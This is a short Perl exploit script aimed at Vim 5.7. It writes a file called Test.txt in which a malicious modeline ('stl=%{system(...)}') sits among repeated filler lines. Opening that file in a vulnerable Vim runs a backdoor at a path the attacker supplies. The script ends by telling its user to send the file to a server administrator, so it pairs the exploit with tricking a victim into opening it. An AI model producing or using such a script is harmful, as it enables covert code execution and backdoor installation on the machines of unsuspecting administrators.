#!/usr/bin/perl
#- Dedicated to my girlfriend Annalisa:+ -
#-dkl- by Nemes||y KayaRasta -dkl-
#
# dragon@shellnow.it
$path_bd = $ARGV[0];
unless ($ARGV[0]) {
                   print "\nUsage   : ".$0." <path backdoor>\n";
                   print "Example : ".$0." /home/ftp/incoming/mybackdoor\n\n";
                  }
else {
      $str_exp = "vim:ls=2:stl=%{system('$path_bd&')}";
      print "Test.txt...";
      sleep(1);
      open (FILE,">>Test.txt");
      print FILE "VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST\n";
      print FILE "VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST\n";
      print FILE "VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST\n";
      print FILE $str_exp."\n";
      print FILE "VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST\n";
      print FILE "VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST\n";
      print FILE "VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST\n";
      print FILE "======================================================\n";
      close FILE;
      print "\n\n Now send Test.txt at server's administrator.\n\n";
}